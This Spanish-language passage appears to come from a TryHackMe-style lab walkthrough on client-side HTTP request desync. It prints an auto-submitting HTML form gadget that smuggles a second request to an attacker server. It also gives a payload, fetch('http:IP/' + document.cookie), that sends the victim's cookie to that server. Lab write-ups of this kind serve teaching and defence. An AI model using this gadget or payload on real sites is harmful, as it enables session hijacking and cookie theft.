Basado en las consideraciones subrayadas en las tareas anteriores, un vector de ataque potencial involucra reemplazar la siguiente petición con un archivo JavaScript arbitrario para ejecutar código personalizado. Sin embargo, esta estrategia necesita la presencia de una funcionalidad de subida de archivos arbitrarios en la web.
En su lugar, podemos usar un servidor mercenario para desplegar un ataque XSS que robe la cookie de la víctima.
Podemos usar el siguiente gadget y entregarlo para abusar cualquier componente de la aplicación web que permita reflejar texto y probablemente ser visitado por un usuario:
<form id="btn" action="http://challenge.thm/" method="POST" enctype="text/plain"> <textarea name="GET http://YOUR_IP HTTP/1.1 AAA: A">placeholder1</textarea> <button type="submit">placeholder2</button> </form> <script> btn.submit() </script>
Utilizamos un formulario porque soporta inherentemente la conexión keep-alive por defecto. El tipo es usado para evitar el encoding MIME por defecto ya que no queremos encodear la segunda petición maliciosa.
Además, el nombre del atributo textarea sobrescribirá los bytes de la siguiente petición, habilitando la redirección a nuestro servidor mercenario.
Para resumir, este gadget opera usando la petición inicial para posicionar a la víctima en el contexto de conexión del servidor vulnerable. La siguiente petición recupera el payload malicioso, comprometiendo la sesión de la víctima.
Para hacerlo, podemos configurar un servidor mercenario sirviendo la ruta con un payload malicioso como fetch('http:IP/' + document.cookie);.
